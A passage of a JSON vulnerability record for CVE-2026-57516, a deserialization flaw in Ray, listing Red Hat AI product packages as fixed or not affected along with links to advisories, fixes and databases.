3.3","cpe":"cpe:/a:redhat:enterprise_linux_ai:3.3::el9","status":"not_affected","packages":["rhelai3/bootc-azure-rocm-rhel9","rhelai3/bootc-rocm-rhel9"],"package_count":2,"fixed":[],"advisories":[],"note":"vulnerable_code_not_present","provider":"redhat-vex","source":"CVE-2026-57516"},{"vendor":"Red Hat","product":"Red Hat OpenShift AI (RHOAI)","cpe":"cpe:/a:redhat:openshift_ai","status":"not_affected","packages":["rhoai/odh-kserve-agent-rhel9","rhoai/odh-kserve-controller-rhel9","rhoai/odh-kserve-router-rhel9","rhoai/odh-kserve-storage-initializer-rhel9"],"package_count":4,"fixed":[],"advisories":[],"note":"vulnerable_code_not_present","provider":"redhat-vex","source":"CVE-2026-57516"},{"vendor":"Red Hat","product":"Red Hat OpenShift AI (RHOAI)","cpe":"cpe:/a:redhat:openshift_ai","status":"not_affected","packages":["rhoai/odh-vllm-gaudi-rhel9"],"package_count":1,"fixed":[],"advisories":[],"note":"component_not_present","provider":"redhat-vex","source":"CVE-2026-57516"},{"vendor":"Red Hat","product":"Red Hat OpenShift AI 3.4","cpe":"cpe:/a:redhat:openshift_ai:3.4::el9","status":"fixed","packages":["rhoai/odh-pipeline-runtime-datascience-cpu-py312-rhel9","rhoai/odh-pipeline-runtime-pytorch-cuda-py312-rhel9","rhoai/odh-pipeline-runtime-pytorch-rocm-py312-rhel9","rhoai/odh-pipeline-runtime-tensorflow-cuda-py312-rhel9","rhoai/odh-pipeline-runtime-tensorflow-rocm-py312-rhel9","rhoai/odh-workbench-jupyter-datascience-cpu-py312-rhel9","rhoai/odh-workbench-jupyter-pytorch-cuda-py312-rhel9","rhoai/odh-workbench-jupyter-pytorch-llmcompressor-cuda-py312-rhel9","rhoai/odh-workbench-jupyter-pytorch-rocm-py312-rhel9","rhoai/odh-workbench-jupyter-tensorflow-cuda-py312-rhel9","rhoai/odh-workbench-jupyter-tensorflow-rocm-py312-rhel9","rhoai/odh-workbench-jupyter-trustyai-cpu-py312-rhel9"],"package_count":12,"fixed":[],"advisories":["RHSA-2026:92510"],"provider":"redhat-vex","source":"CVE-2026-57516"},{"vendor":"Red Hat","product":"Red Hat OpenShift AI 3.4","cpe":"cpe:/a:redhat:openshift_ai:3.4::el9","status":"not_affected","packages":["rhoai/odh-ai-gateway-payload-processing-rhel9","rhoai/odh-automl-rhel9","rhoai/odh-autorag-rhel9","rhoai/odh-built-in-detector-rhel9","rhoai/odh-cli-rhel9","rhoai/odh-dashboard-rhel9","rhoai/odh-data-science-pipelines-argo-argoexec-rhel9","rhoai/odh-data-science-pipelines-argo-workflowcontroller-rhel9","rhoai/odh-data-science-pipelines-operator-controller-rhel9","rhoai/odh-eval-hub-rhel9","rhoai/odh-feast-operator-rhel9","rhoai/odh-feature-server-rhel9","rhoai/odh-fms-guardrails-orchestrator-rhel9","rhoai/odh-guardrails-detector-huggingface-runtime-rhel9","rhoai/odh-kf-notebook-controller-rhel9","rhoai/odh-kserve-agent-rhel9","rhoai/odh-kserve-autogluon-server-rhel9","rhoai/odh-kserve-controller-rhel9","rhoai/odh-kserve-llmisvc-controller-rhel9","rhoai/odh-kserve-router-rhel9","rhoai/odh-kserve-storage-initializer-rhel9","rhoai/odh-kube-auth-proxy-rhel9","rhoai/odh-kuberay-operator-controller-rhel9","rhoai/odh-llama-stack-core-rhel9","rhoai/odh-llama-stack-k8s-operator-rhel9"],"package_count":94,"fixed":[],"advisories":[],"note":"vulnerable_code_not_present","provider":"redhat-vex","source":"CVE-2026-57516"}],"references":[{"type":"WEB","url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-57516.json"},{"type":"WEB","url":"https://access.redhat.com/security/cve/CVE-2026-57516"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2496087"},{"type":"WEB","url":"https://www.cve.org/CVERecord?id=CVE-2026-57516"},{"type":"WEB","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-57516"},{"type":"WEB","url":"https://github.com/ray-project/ray/pull/63469"},{"type":"WEB","url":"https://github.com/ray-project/ray/pull/63470"},{"type":"WEB","url":"https://github.com/ray-project/ray/releases/tag/ray-2.56.0"},{"type":"WEB","url":"https://github.com/ray-project/ray/security/advisories/GHSA-hhrp-gw25-jr43"},{"type":"WEB","url":"https://www.vulncheck.com/advisories/ray-unsafe-deserialization-rce-via-webdataset-reader"}]}],"references":[{"type":"WEB","url":"https://github.com/ray-project/ray/releases/tag/ray-2.56.0"},{"type":"ADVISORY","url":"https://github.com/ray-project/ray/security/advisories/GHSA-hhrp-gw25-jr43"},{"type":"FIX","url":"https://github.com/ray-project/ray/pull/63469"},{"type":"FIX","url":"https://github.com/ray-project/ray/pull/63470"},{"type":"WEB","url":"https://www.vulncheck.com/advisories/ray-unsafe-deserialization-rce-via-webdataset-reader"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-57516"},{"type":"WEB","url":"https://github.com/ray-project/ray/commit/41443a18f9e6403a072de69098a279c23e2d943c"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/ray/PYSEC-2026-2273.yaml"},{"type":"PACKAGE","url":"https://github.com/ray-project/ray"},{"type":"WEB","url":"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-57516.json"},{"type":"WEB","url":"https://access.redhat.com/security/cve/CVE-2026-57516"},{"type":"WEB","url":"https://bugzilla.redhat.com/show_bug.cgi?id=2496087"},{"type":"WEB","url":"https://www.cve.org/CVERecord?id=CVE-2026-57516"}],"sources":[{"provider":"cvelistv5","source_id":"CVE-2026-57516","url":"https://www.cve.org/CVERecord?id=CVE-2026-57516","license":"CC-BY-4.0","modified_at":"2026-11-08T14:06:30.686Z","relation":"self"},{"provider":"nvd","source_id":"CVE-2026-57516","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-57516","relation":"self"},{"provider":"osv","source_id":"GHSA-hhrp-gw25-jr43","url":"https://osv.dev/vulnerability/GHSA-hhrp-gw25-jr43","license":"CC-BY-4.0","modified_at":"2026-09-10T03:50:52.42794Z","relation":"self"},{"provider":"osv","source_id":"PYSEC-2026-2273","url":"https://osv.dev/vulnerability/PYSEC-2026-2273","license":"CC-BY-4.0","modified_at":"2026-07-13T07:15:44.097966Z","relation":"self"},{"provider":"redhat-vex","source_id":"CVE-2026-57516","url":"https://access.redhat.com/security/cve/CVE-2026-57516","license":"CC-BY-4.0","modified_at":"2026-08-11T11:24:16.254825Z","relation":"self"}]}
